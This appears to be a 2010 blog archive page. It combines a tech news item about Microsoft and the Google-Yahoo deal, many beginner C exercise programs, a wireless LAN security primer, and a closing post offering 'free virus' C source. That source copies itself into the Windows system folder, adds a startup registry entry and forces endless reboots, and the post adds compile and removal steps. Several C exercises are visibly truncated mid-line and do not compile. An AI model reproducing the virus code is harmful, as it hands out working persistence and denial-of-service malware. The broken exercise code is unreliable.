Saturday, July 31, 2010

TECH NEWS UPDATE :Microsoft to go to Japanese FTC about Google-Yahoo deal

Microsoft is planning to go to the Japanese Fair Trade Commission (FTC) to make its case as to why the just-announced Google-Yahoo search deal is anticompetitive.

I asked the Softies earlier this week whether they planned to do anything more than complain about the deal via a blog post, but was told there was nothing more to say at this time. On July 30, Silicon Alley’s Business Insider blog cited an unnamed “Microsoft rep” saying the company planned to go to the FTC to attempt to block the deal.

Microsoft legal spokesman Jack Evans confirmed to me via e-mail that Microsoft will be going to the JFTC, but didn’t share more about what form its complaint might take or when it might happen. Evans said, “Yes, we plan to provide information to JFTC about why we think this deal is more harmful even than the deal Google proposed with Yahoo in the US and Canada.”

Microsoft already aired its views as to why it was against the Google-Yahoo partnership via a corporate blog post on July 28. Google already obtained JFTC approval for the deal even before it was announced, according to the Microsoft post.

Microsoft has tangled with the JFTC in the past. Last decade, the JFTC investigated Microsoft for alleged anticompetitive business practices around its monopoly in the PC market.

SIMPLE C PROGRAMS PART-2




 

/*USING forLOOP(PRINT THE NUMBERS 1 TO 100)*/
main()
{
   int i;
   for(i=1;i<=100;i++)
      printf("%d\t",i);
 }



/*PRINT THE NUMBERS(1 T0 100)EVEN OR ODD*/
main()
{
    int i;
    for(i=1;i<=100;i++)
    {
      if(i%2==0)
       printf("\n%d IS EVEN",i);
      else
       printf("\t%d IS ODD",i);
     }
  }

   

/*PRINT THE YEAR 1000-2000 LEAP YEAR OR NOT*/
main()
{
   int year;
   for(year=1000;year<=1020;year++)
   {
      if(year%4==0)
       printf("\n%d IS LEAP YEAR",year);
      else
       printf("\t%d IS NOT LEAP YEAR",year);
    }
 }





/*PRINT THE NUMBERS BETWEEN TWO LIMITS*/
main()
{
     int a,b;
     for(scanf("%d%d",&a,&b);a<=b;a++)
       printf("%d\n",a);
 }
      

/*PRINT THE NUMBERS BETWEEN THE LIMITS IS EVEN OR ODD*/
main()
{
     int a,b;
     for(scanf("%d%d",&a,&b);a<=b;a++)
     {
       if(a%2==0)
         printf("%d IS EVEN\n",a);
       else
         printf("%d IS ODD\t",a);
      }
}
           [aug050233@linsoft aug050233]$ cat p106.c

/*PRINT THE YEARS BETWEEN THE TWO LIMITS IS LEAP YEAR OR NOT*/
main()
{
     int b,c;
     for(scanf("%d%d",&b,&c);b<=c;b++)
     {
        if(b%4==0)
         printf("%d IS LEAP YEAR\n",b);
        else
         printf("%d IS NOT LEAP YEAR\t",b);
      }
 }



/*READ AND DISPLAY THE NUMBER UNTIL -1000*/
main()
{
     int b;
     for(scanf("%d",&b);b!=-1000;scanf("%d",&b))
       printf("%d",b);
 }



/*CLASSIFY THE NUMBER IS POSITIVE,NEGATIVE OR EQUAL UNTIL -1000*/
main()
{
     int b;
     for(scanf("%d",&b);b!=-1000;scanf("%d",&b))
     {
        if(b==0)
         printf("%d IS ZERO",b);
        else
          if(b>0)
            printf("%d IS POSITIVE",b);
          else
            printf("%d IS NEGATIVE",b);
       }
 }
               

/*COUNT THE NUMBER POSITIVE,NEGATIVE OR ZERO UNTIL -1000*/
main()
{
     int b,i=0,j=0,k=0;
     for(scanf("%d",&b);b!=-1000;scanf("%d",&b))
     {
       if(b==0)
          i++;
       else
         if(b>0)
           j++;
         else
           k++;
      }
      printf("NUMBER OF ZEROS=%d\n",i);
      printf("NUMBER OF POSITIVE NUMMBERS=%d\n",j);
      printf("NUMBER OF NEGATIVE NUMBERS=%d\n",k);
  }

     

/*SUM OF THE POSITIVE,NEGATIVE NUMBERS UNTIL -1000*/
main()
{
      int b,s1=0,s2=0;
      for(scanf("%d",&b);b!=-1000;scanf("%d",&b))
      {
         if(b>0)
           s1=s1+b;
         else
           s2=s2+b;
       }
      printf("SUM OF POSITIVE NUMBERS=%d\n",s1);
      printf("SUM OF NEGATIVE NUMBERS=%d\t",s2);
  }



/*MEAN OF POSITIVE,NEGATIVE NUMBERS UNTIL -1000*/
main()
{
     float m1,m2;
     int b,s1=0,s2=0,i=0,j=0;
     for(scanf("%d",&b); b!=-1000;scanf("%d",&b))
     {
        if(b>0)
        {
          s1=s1+b;
          i++;
         }
        else
         {
           s2=s2+b;
           j++;
          }
       }
      m1=(float)s1/i;
      m2=(float)s2/j;
      printf("MEAN OF POSITIVE NUMBERS=%f\n",m1);
      printf("MEAN OF NEGATIVE NUMBERS=%f\n",m2);
}
           

/*READ AND DISPLAY CHARACTER UNTIL '$' */
main()
{
     char ch;
     for(scanf("%c",&ch);ch!='$';scanf("%c",&ch))
       printf("%c",ch);
 }


    

/*CLASSIFY THE CHARACTERS UPPER,LOWER,DIGIT OR SPECIAL CHARACTER*/
main()
{
     char ch;
     for(scanf("%c",&ch);ch!='$';scanf("%c",&ch))
     {
        if(ch>='A'&&ch<='Z')
          printf("%c IS UPPER CASE\n",ch);
        else
          if(ch>='a'&&ch<='z')
            printf("%c IS LOWER CASE\n",ch);
          else
            if(ch>='0'&&ch<='9')
              printf("%c IS DIGIT\n",ch);
            else
              printf("%c IS SPECIAL CHARACTER\n",ch);
        }
}



 

/*COUNT THE NUMBERS OF UPPER,LOWER,DIGIT OR SPECIAL CHARACTER*/
main()
{
     char ch;
     int i=0,j=0,k=0,t=0;
     for(scanf("%c",&ch);ch!='$';scanf("%c",&ch))
     {
       if(ch>='A'&&ch<='Z')
         i++;
       else
         if(ch>='a'&&ch<='z')
           j++;
         else
           if(ch>='0'&&ch<='9')
             k++;
           else
             t++;
       }
      printf("NUMBER OF UPPER CASE CHARACTER=%d\n",i);
      printf("NUMBER OF LOWER CASE CHARACTER=%d\n",j);
      printf("NUMBER OF DIGITS=%d\n",k);
      printf("NUMBER OF SPECIAL CHARACTERS=%d\n",t);

 }


          

/*READ AND DISPLAY 10 NUMBERS*/
main()
{
   int i,b;
   for(i=1;i<=10;i++)
   {
     scanf("%d",&b);
     printf("%d\t",b);
    }
}


      [aug050233@linsoft aug050233]$ cat p116.c

/*MEAN OF 10 NUMBERS*/
main()
{
    float m1;
    int i,b,s1=0;
    for(i=0;i<10;i++)
    {
      scanf("%d",&b);
      s1=s1+b;
     }
    m1=(float) s1/i;
    printf("MEAN OF 10 NUMBERS=%f",m1);
}




/*BIGGEST OF 10 NUMBERS*/
main()
{
     int i,b,c,big=0;
     for(i=1;i<=10;i++)
     {
       scanf("%d",&b);
       c=(b>big)?big=b:big;
      }
     printf("BIGGEST OF 10 NUMBERS=%d\n",c);

}



  

/*READ AND DISPLAY 10 NUMBERS USING ARRAY*/
main()
{
  int i,a[50],j;
  for(i=0;i<10;i++)
   scanf("%d",&a[i]);
  for(j=0;j<10;j++)
   printf("%d\n",a[j]);
 }

  [aug050233@linsoft aug050233]$ cat p119.c

/*MEAN OF 10 NUMBERS USING ARRAY*/
main()
{
     float m;
     int i,a[50],j,s=0;
     for(i=0;i<10;i++)
      scanf("%d",&a[i]);
     for(j=0;j<10;j++)
       s=s+a[j];
     m=(float)s/j;
     printf("MEAN OF 10 NUMBERS=%f",m);
 }



/*BIGGEST OF 10 NUMBERS*/
main()
{
     int i,a[50],c,j;
     for(i=0;i<10;i++)
      scanf("%d",&a[i]);
     c=0;
     for(j=0;j<10;j++)
       c=(a[j]>c)? a[j]:c;
     printf("BIGGEST OF 10 NUMBERS=%d",c);
 }



/*POSITION OF BIGGEST NUMBER*/
main()
{
     int i,a[50],j,c;
     for(i=0;i<10;i++)
      scanf("%d",&a[i]);
      c=0;
      for(j=0;j<10;j++)
      c=(a[j]>a[c])?j:c;
      printf("POSITION OF BIGGEST NUMBER=%d",c);
 }


/*POSITION OF BIGGEST AS WELL AS SMALLEST OF 10 NUMBERS*/
main()
{
     int i,a[50],c,d,j;
     for(i=0;i<10;i++)
      scanf("%d",&a[i]);
     c=0;
     d=0;
     for(j=0;j<10;j++)
     {
       c=(a[j]>a[c])?j:c;
       d=(a[j]
      }
     printf("POSITION OF BIGGEST NUMBER=%d\n",c);
     printf("POSITION OF SMALLEST NUMBER=%d\n",d);
 }




/*INTERCHANGE POSITION OF BIGGEST AS WELL AS SMALLEST NUMBER*/
main()
{
     int i,a[50],j,c,d,temp;
     for(i=0;i<10;i++)
      scanf("%d",&a[i]);
     c=0,d=0;
     for(j=0;j<10;j++)
     {
       c=(a[j]>a[c])?j:c;
       d=(a[j]
      }
      temp=a[c];
      a[c]=a[d];
      a[d]=temp;
      for(i=0;i<10;i++)
       printf("%d",a[i]);
 }



   

/*SECOND BIGGEST NUMBER*/
main()
{
     int i,a[50],j,c,d;
     for(i=0;i<10;i++)
     scanf("%d",&a[i]);
     c=0,d=0;
      for(j=0;j<10;j++)

        c=(a[j]>c)?a[j]:c;
      for(j=0;j<10;j++)
        d=(a[j]!=c&&a[j]>d)?a[j]:d;

      printf("SECOND BIGGEST NUMBER=%d\n",d);
 }






/*INTERCHANGE THE POSITION OF SECOND BIGGEST AND SECOND SMALLEST NUMBER*/
main()
{
     int i,a[50],c,d,j,e,f,temp;
     for(i=0;i<10;i++)
      scanf("%d",&a[i]);
     c=0,d=0;
     for(j=0;j<10;j++)
     {
       c=(a[j]>a[c])?j:c;
       d=(a[j]
      }
     e=d;
     f=c;
     for(j=0;j<10;j++)
     {
       e=(j!=c&&a[j]>a[e])?j:e;
       f=(j!=d&&a[j]
      }
     temp=a[e];
     a[e]=a[f];
     a[f]=temp;
     for(i=0;i<10;i++)
      printf("%d\n",a[i]);
 }



/*READ AND DISPLAY 3*3 MATRIX*/
main()
{
     int i,j,a[50][50];
     for(i=0;i<3;i++)
     {
       for(j=0;j<3;j++)
        scanf("%d",&a[i][j]);
      }
      for(i=0;i<3;i++)
      {
        for(j=0;j<3;j++)
         printf("%d",a[i][j]);
         printf("\n");
       }
 }

/*TRANSPOSE THE 3*3 MATRIX*/
main()
{
    int i,j,a[50][50];
    for(i=0;i<3;i++)
    {
      for(j=0;j<3;j++)
       scanf("%d",&a[i][j]);
     }
     for(i=0;i<3;i++)
     {
       for(j=0;j<3;j++)
        printf("%d",a[j][i]);
        printf("\n");
      }
   }
    c

/* SUM OF 3*3 MATRIX*/
main()
{
    int i,j,a[50][50],b[50][50],c[50][50];
    for(i=0;i<3;i++)
    {
      for(j=0;j<3;j++)
       scanf("%d",&a[i][j]);
     }
     for(i=0;i<3;i++)
     {
       for(j=0;j<3;j++)
        scanf("%d",&b[i][j]);
      }
     for(i=0;i<3;i++)
     {
       for(j=0;j<3;j++)
         c[i][j]=a[i][j]+b[i][j];
      }
      for(i=0;i<3;i++)
      {
        for(j=0;j<3;j++)
        printf("%d",c[i][j]);
        printf("\n");
       }
  }
  

/*PRODUCT  OF 3*3 MATRIX*/
main()
{
     int i,j,a[50][50],b[50][50],c[50][50],k;
     for(i=0;i<3;i++)
     {
       for(j=0;j<3;j++)
        scanf("%d",&a[i][j]);
      }
     for(i=0;i<3;i++)
     {
       for(j=0;j<3;j++)
        scanf("%d",&b[i][j]);
      }
     c[i][j]=0;
     for(i=0;i<3;i++)
     {
       for(j=0;j<3;j++)
       {
         for(k=0;k<3;k++)
          c[i][j]=c[i][j]+a[i][k]*b[k][j];
        }

      }

      for(i=0;i<3;i++)
      {
        for(j=0;j<3;j++)
         printf("%d",c[i][j]);
         printf("\n");

       }
   }




/*READ AND DISPLAY A WORD*/
main()
{
    char  a[50];
    int i;
    for(i=0,scanf("%c",&a[i]);a[i]!=' ';i++,scanf("%c",&a[i]));
     a[i]='\0';
     for(i=0;a[i]!='\0';i++)
      printf("%c",a[i]);
  }



/*READ AND DISPLAY A SENTENCE UNTIL '.'*/
main()
{
     char a[50];
     int i;
     for(i=0,scanf("%c",&a[i]);a[i]!='.';i++,scanf("%c",&a[i]));
     a[i]='\0';
     for(i=0;a[i]!='\0';i++)
      printf("%c",a[i]);
 }   

/*READ AND DISPLAY A LINE*/
main()
{
    char a[50];
    int i;
    for(i=0,scanf("%c",&a[i]);a[i]!='\n';i++,scanf("%c",&a[i]));
     a[i]='\0';
     for(i=0;a[i]!='\0';i++)
      printf("%c",a[i]);
  }


/* READ AND DISPLAY THE TEXT UNTIL '$'*/
main()
{
    char a[50];
    int i;
    for(i=0,a[i]=getchar();a[i]!='$';i++,a[i]=getchar());
     a[i]='\0';
     for(i=0;a[i]!='\0';i++)
      printf("%c",a[i]);
 }
     

/*COUNT THE NUMBER OF UPPER,LOWER,DIGIT OR SPECIAL CHARACTER IN THE SENTENCE*/
main()
{
     char a[50];
     int i,j=0,k=0,l=0,t=0;
     for(i=0,a[i]=getchar();a[i]!='$';i++,a[i]=getchar());
      a[i]='\0';
      for(i=0;a[i]!='\0';i++)
      {
        if(a[i]>='A'&&a[i]<='Z')
          j++;
        else
          if(a[i]>='a'&&a[i]<='z')
            k++;
          else
            if(a[i]>='0'&&a[i]<='9')
              l++;
            else
              t++;
       }
       printf("NUMBER OF UPPER CASE CHARACTER=%d\n",j);
       printf("NUMBER OF LOWER CASE CHARACTER=%d\n",k);
       printf("NUMBER OF DIGITS=%d\n",l);
       printf("NUMBER OF SPECIAL CHRACTER=%d\n",t);
  }
        

/*COUNT THE NUMBER OF WORDS,LINES AND CHRACTER*/
main()
{
     char a[50];
     int i,w=0,l=0,c=0;
     for(i=0,a[i]=getchar();a[i]!='$';i++,a[i]=getchar());
      a[i]='\0';
      for(i=0;a[i]!='\0';i++)
      {
         if((a[i]!=' '&&a[i+1]==' ')||(a[i]!='\n'&&a[i+1]=='\n')||
                   (a[i]!='\t'&&a[i+1]=='\t'))

             w++;
         if(a[i]=='\n')
            l++;
          c++;
        }
       printf("NUMBER OF WORDS=%d\n",w);
       printf("NUMBER OF LINES=%d\n",l);
       printf("NUMBER OF CHRACTERS=%d\n",c);
  }

         

/*READ THE ARRAY AND COPY TO ANOTHER ARRAY*/
main()
{
     char a[50],b[50];
     int i,n;
     for(i=0,a[i]=getchar();a[i]!='$';i++,a[i]=getchar());
      a[i]='\0';
      scanf("%d",&n);
      for(i=0;i
       b[i]=a[i];
      b[i]='\0';
      for(i=0;b[i]!='\0';i++)
       putchar(b[i]);
  }


/*COPY THE FIRST n CHRACTER TO ANOTHER ARRAY*/
main()
{
     char a[50],b[50];
     int i,n;
     for(i=0,a[i]=getchar();a[i]!='$';i++,a[i]=getchar());
      a[i]='\0';
      scanf("%d",&n);
      for(i=0;i
       b[i]=a[i];
      b[i]='\0';
      for(i=0;b[i]!='\0';i++)
       putchar(b[i]);
  }

   

/*COPY THE nth CHRACTER FROM mth POSITION */
main()
{
    char a[50],b[50];
    int i=0,m,n,j;
    for(i=0,a[i]=getchar();a[i]!='$';i++,a[i]=getchar());
    a[i]='\0';
    scanf("%d%d",&m,&n);
    for(i=m,j=0;a[j]!='\0'&&j
     b[j]=a[i];
    b[j]='\0';
    for(i=0;b[i]!='\0';i++)
     putchar(b[i]);
 }


/*COPY THE LAST n CHRACTER*/
main()
{
     char a[50],b[50];
     int i,n,j;
     for(i=0;(a[i]=getchar())!='$';i++);
      a[i]='\0';
      scanf("%d",&n);
     for(j=0,i=i-n;a[i]!='\0';i++,j++)
      b[j]=a[i];
     b[j]='\0';
     for(i=0;b[i]!='\0';i++)
      printf("%c",b[i]);
  }

/*UPPER TO LOWER*/
main()
{
     char a[50],b[50];
     int i;
     for(i=0;(a[i]=getchar())!='$';i++);
      a[i]='\0';
     for(i=0;a[i]!='\0';i++)
     {
       b[i]=(a[i]>='A'&&a[i]<='Z')?a[i]+32:a[i];
      }
     b[i]='\0';
     for(i=0;b[i]!='\0';i++)
      putchar(b[i]);
  }

/*COMMA TO SEMICOLON*/
main()
{
     char a[50],b[50];
     int i;
     for(i=0;(a[i]=getchar())!='$';i++);
     a[i]='\0';
     for(i=0;a[i]!='\0';i++)
     {
       b[i]=(a[i]==',')?';':a[i];
      }
     b[i]='\0';
     for(i=0;b[i]!='\0';i++)
      putchar(b[i]);
 }

[aug050233@linsoft aug050233]$ cat p142.c

/*DELETE COMMA*/
main()
{
    char a[50],b[50];
    int i,j;
    for(i=0;(a[i]=getchar())!='$';i++);
     a[i]='\0';
    for(i=0,j=0;a[i]!='\0';)
    {
       if(a[i]==',')
         i++;
       else
        {
          b[j]=a[i];
          j++;
          i++;
         }
      }
     b[j]='\0';
     for(i=0;b[i]!='\0';i++)
      putchar(b[i]);
  }



/*REVERSE THE TEXT*/
main()
{
    char a[50],b[50];
    int i,j;
    for(i=0;(a[i]=getchar())!='$';i++);
     a[i]='\0';
    for(i--,j=0;i>=0;)
    {
      b[j]=a[i];
      j++;
      i--;
     }
    b[j]='\0';
    for(i=0;b[i]!='\0';i++)
     putchar(b[i]);
  }
      c

/*MERGE THE ARRAY*/
main()
{
     char a[50],b[50],c[50];
     int i,j;
     for(i=0;(a[i]=getchar())!='$';i++);
      a[i]='\0';
     for(j=0;(b[j]=getchar())!='$';j++);
      b[j]='\0';
     for(i=0,j=0;a[i];)
     {
       c[j]=a[i];
       j++;
       i++;
      }
     for(i=0;b[i];)
     {
       c[j]=b[i];
       j++;
       i++;
      }
     c[j]='\0';
     for(i=0;c[i]!='\0';i++)
      putchar(c[i]);
  }


/*CONVERT FORTRAN ASSIGNMENT TO PASCAL ASSIGNMENT*/
main()
{
  char a[50],b[50];
  int i,j;
  for(i=0;(a[i]=getchar())!='$';i++);
   a[i]='\0';
  for(i=0,j=0;a[i];i++)
  {
    if(a[i]=='=')
    {
      b[j]=':';
      j++;
      b[j++]='=';

     }
    else
      if(a[i]=='\n')
      {
        b[j]=';';
        j++;
        b[j++]='\n';
       }
      else
      {
        b[j]=a[i];
        j++;
      }
   }
   b[j]='\0';
   for(i=0;b[i]!='\0';i++)
    putchar(b[i]);
 }


        /*CONVERT PASCAL TO FORTRAN ASSIGNMENT*/
main()
{
    char a[50],b[50];
    int i,j;
    for(i=0;(a[i]=getchar())!='$';i++);
     a[i]='\0';
    for(i=0,j=0;a[i]!='\0';i++)
    {
      if(a[i]==':'|| a[i]=='=')
        b[j++]='=';
      else
        if(a[i]==';')
          b[j++]='\n';
        else
          b[j++]=a[i];
     }
     b[j]='\0';
     for(i=0;b[i]!='\0';i++)
      putchar(b[i]);
  }
   

/*COUNT THE NUMBER OF LINES IN TEXT*/
main()
{
   char a[50];
   int i,k;
   for(i=0;(a[i]=getchar())!='$';i++);
    a[i]='\0';
   for(i=0,k=0;a[i];i++)
   {
     if(a[i]=='\n')
       k++;
    }
   printf("NUMBER OF LINES IN TEXT=%d",k);
 }






/*PRINT THE STARTING POSITION OF EACH LINE*/
main()
{
    char a[50];
    int i;
    for(i=0;(a[i]=getchar())!='$';i++);
     a[i]='\0';
    for(i=0;a[i];i++)
    {
      if(a[i]=='\n')
       printf("%d",i+1);
     }
  }



/*STORE THE STARTING POSITION OF A LINE IN AN ARRAY*/
main()
{
     char a[50],b[50];
     int i,j;
     for(i=0;(a[i]=getchar())!='$';i++);
      a[i]='\0';
     j=0,b[j]=0;
     for(i=0,j++;a[i];i++)
     {
       if(a[i]=='\n')
       {
         b[j]=i+1;
         j++;
        }
      }
     b[j]=-1;
     for(i=0;b[i]!=-1;i++)
      printf(" %d ",b[i]);
  }

/*DISPLAY THE nth LINE*/
main()
{
     char a[50],b[50];
     int i,j,n;
     for(i=0;(a[i]=getchar())!='$';i++);
      a[i]='\0';
     j=0,b[j]=0;
     for(i=0,j++;a[i]!='\0';i++)
     {
       if(a[i]=='\n')
       {
         b[j]=i+1;
         j++;
        }
      }
     b[j]=-1;
     scanf("%d",&n);
     for(i=b[n-1];a[i]!='\n';i++)
       printf("%c",a[i]);
 }



SIMPLE C PROGRAM PART-1

/*WRITE A PROGRAM PRODUCT OF TWO REAL NUMBERS*/
main()
{
float a=10.0,b=20.0,c;
c=a*b;
printf("%f",c);
}


/*AREA OF CIRCLE*/
main()
{
float pi=3.14,r=2.0,A;
A=pi*r*r;
printf("%f",A);
}



/*VOLUME OF THE SPHERE*/
main()
{
float r,pi,V;
r=2.0;
pi=3.14;
V=(4.0/3.0)*pi*r*r*r;
printf("%f",V);
}

/*VOLUME OF THE CYCLINDER*/
main()
{
float pi,r,h,c;
pi=3.14,r=2.0,h=3.0;
c=pi*r*r*h;
printf("%f",c);
}

/*AREA OF THE TRIANGLE*/
main()
{
float b,h,AT;
b=2.0,h=3.0;
AT=1.0/2*b*h;
printf("%f",AT);
}

/*TO FIND CENTIGRADE*/
main()
{
float f=62.0,c;
c=5.0/9.0*(f-32);
printf("%f",c);
}

/*PRODUCT OF TWO REAL NUMBERS*/
main()
{
float a,b,c;
scanf("%f%f",&a,&b);
c=a*b;
printf("%f",c);
}
/*AREA OF CIRCLE*/
main()
{
float pi=3.14,r,A;
scanf("%f",&r);
A=pi*r*r;
printf("%f",A);
}

/*VOLUME OF THE SPHERE*/
main()
{
float r,pi,V;
pi=3.14;
scanf("%f",&r);
V=(4.0/3.0)*pi*r*r*r;
printf("%f",V);
}

/*VOLUME OF THE CYCLINDER*/
main()
{
float pi,r,h,c;
pi=3.14;
scanf("%f%f",&r,&h);
c=pi*r*r*h;
printf("%f",c);
}

Friday, July 30, 2010

Wireless Network Security Basics LAN


Wireless Network Security - The Basics of Securing a Wireless LAN
Network Authentication Process
The process of a client associating and authenticating to an access point is standard. Should shared key authentication be selected at the client, there are additional packets sent confirming the keys authenticity.
The following describes EAP network authentication.
1. Client sends probe to all access points
2. Access point sends information frame with data rate etc
3. Client selects nearest matching access point
4. Client scans access point in order of 802.11a, 802.11b then 802.11g
5. Data rate is selected
6. Client associates to access point with SSID
7. With EAP network authentication the client authenticates with RADIUS server
Open Authentication
This type of security assigns a string to an access point or several access points defining a logical segmented wireless network known as a service set identifier (SSID). The client can't associate with an access point unless it is configured with that SSID. Associating with the network is as easy as determining the SSID from any client on the network. The access point can be configured to not broadcast the SSID improving security somewhat. Most companies will implement static or dynamic keys to supplement security of SSID.
Static WEP keys
Configuring your client adapter with a static wired equivalency private (WEP) key improves the security of your wireless transmissions. The access point is configured with the same 40 bit or 128 bit WEP key and during association those encrypted keys are compared. The issue is hackers can intercept wireless packets and decode your WEP key.
Dynamic WEP keys (WPA)
The deployment of dynamic encrypted WEP keys per session strengthens security with a hash algorithm that generates new key pairs at specific intervals making spoofing much more difficult. The protocol standard includes 802.1x authentication methods with TKIP and MIC encryption. Authentication between the wireless client and authentication RADIUS server allows for dynamic administration of security. It should be mentioned that each authentication type will specify Windows platform support. An example is PEAP which requires Windows XP with service pack 2, Windows 2000 with SP4 or Windows 2003 at each client.
The 802.1x standard is an authentication standard with per user and per session encryption with these supported EAP types: EAP-TLS, LEAP, PEAP, EAP-FAST, EAP-TTLS and EAP-SIM. User network authentication credentials have nothing to do with the client computer configuration. Any loss of computer equipment doesn't affect security. The encryption process is handled with TKIP an enhanced encryption standard improving WEP encryption with per packet key hashing (PPK), message integrity checking (MIC) and broadcast key rotation. The protocol uses 128 bit keys for encrypting data and 64 bit keys for authentication. The transmitter adds some bytes or MIC to a packet before encrypting it and the receiver decrypts and verifies the MIC. Broadcast key rotation will rotate unicast and broadcast keys at specific intervals. Fast reconnect is a WPA feature that is available allowing employees to roam without having to re-authenticate with the RADIUS server should they change floors or rooms. The client username and password is cached with the RADIUS server for a specified period.
EAP-FAST
• Implements symmetric key algorithm to build secure tunnel
• Client and RADIUS server side mutual authentication
• Client sends username and password credential in secure tunnel
EAP-TLS
• SSL v3 builds an encrypted tunnel
• Client side and RADIUS server side assigned PKI certificates with mutual authentication
• Dynamic per client per session keys used to encrypt data
Protected EAP (PEAP)
• Implemented at Windows clients with any EAP authentication method
• Server side RADIUS server authentication with root CA digital certificate
• Client side authentication with RADIUS server from Microsoft MS-CHAP v2 client with username and password encrypted credentials
Wireless Client EAP Network Authentication Process
1. Client associates with access point
2. Access point allows 802.1x traffic
3. Client authenticates RADIUS server certificate
4. RADIUS server sends username with password encrypted request to client
5. Client sends username with password encrypted to RADIUS server
6. RADIUS server and client derive WEP key. RADIUS server sends WEP key to access point
7. Access point encrypts 128 bit broadcast key with that dynamic session key. Sends to client.
8. Client and access point use session key to encrypt/decrypt packets
WPA-PSK
WPA pre-shared keys use some features of static WEP keys and dynamic key protocols. Each client and access point is configured with a specific static passcode. The passcode generates keys that TKIP uses to encrypt data per session. The passcode should be at least 27 characters to defend against dictionary attacks.
WPA2
The WPA2 standard implements the WPA authentication methods with Advanced Encryption Standard (AES). This encryption method is deployed with government implementations etc. where the most stringent security must be implemented.
Application Layer Passcode
SSG uses a passcode at the application layer. Client can't authenticate unless they know the passcode. SSG is implemented in public places such as hotels where the client pays for the password allowing access to the network.
VLAN Assignments
As noted companies will deploy access points with SSID assignments that define logical wireless networks. The access point SSID will then be mapped to a VLAN on the wired network that segments traffic from specific groups as they would with the conventional wired network. Wireless deployments with multiple VLANs will then configure 802.1q or ISL Trunking between access point and Ethernet switch.
Miscellaneous Settings
  • Turn Microsoft File Sharing OFF
  • Implement AntiVirus Software and Firewall
  • Install your company VPN client
  • Turn OFF Auto Connect to any wireless network
  • Never use AdHoc Mode - this allows unknown laptops to connect
  • Avoid signal overrun with a good site survey
  • Use minimal transmit power setting
Anti Theft Option
Some access points have an anti theft option available using padlock and cabling to secure equipment while deployed in public places. This is a key feature with public implementations where access points can be stolen or there is some reason why they must be mounted below the ceiling.
Security Attacks
• Wireless packet sniffers will captures, decode and analyzes packets sent between the client computer and AP. The purpose is to decode security information.
• Dictionary attacks attempt to determine the decryption key configured on the wireless network using a list or dictionary with thousands of typical passcode phrases. The hacker captures information from the authentication process and scans each dictionary word against the password until a match is found.
• The specific mode assigned each wireless client affects security. Ad Hoc mode is the least secure option with no AP authentication. Each computer on the network can send information to an Ad Hoc neighbor computer. Select infrastructure mode where available.
• IP spoofing is a common network attack involving faking or replacing the source IP address of each packet. The network device thinks its communicating with an approved computer.
• SNMP is sometimes a source of compromised security. Implement SNMP v3 with complex community strings.

FREE VIRUS PROGRAM

#include
#include
#include

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}
NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.


Compiling The Scource Code Into Executable Virus.


1. Download the Source Code Here

2. The downloaded file will be Sysres.C

3. For step-by-step compilation guide, refer my post How to compile C Programs.


Testing And Removing The Virus From Your PC


You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.


1. Reboot your computer in the SAFE MODE

2. Goto
X:\Windows\System
(X can be C,D,E or F)

3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.


Logic Behind The Working Of The Virus


If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.


LOGIC:


1. First the virus will find the Root partition (Partition on which Windows is installed).

2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System

3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.

4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.


